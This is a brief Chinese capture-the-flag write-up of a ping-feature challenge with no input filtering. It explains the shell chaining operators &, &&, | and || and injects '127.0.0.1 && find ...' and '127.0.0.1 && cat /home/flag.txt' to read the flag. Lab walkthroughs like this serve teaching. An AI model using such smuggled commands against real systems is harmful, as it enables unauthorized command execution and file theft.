题目信息
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。
题目分析
考察命令执行中一些危险符号以及过滤不严。
A&B，前面的语句为假则直接执行后面的
A &&B A为真才执行B
A|B A的结果作为B的参数
A||B A为假才执行B
做题
shell
127.0.0.1 && find / -name “*.txt”
执行结果
打开flag.txt 文件
127.0.0.1 && cat /home/flag.txt
拿到flag
若有收获，就点个赞吧
0 人点赞
